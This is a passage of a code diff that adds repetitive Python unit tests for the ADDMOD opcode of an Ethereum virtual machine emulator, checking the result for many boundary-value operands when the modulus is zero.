+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_110(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_111(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_112(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_113(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_114(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_115(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_116(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_117(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_118(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_119(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_120(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_121(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_122(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_123(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_124(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_125(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_126(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_127(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_128(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_129(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_130(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_131(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_132(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_133(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_134(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_135(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_136(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_137(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_138(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_139(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_140(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
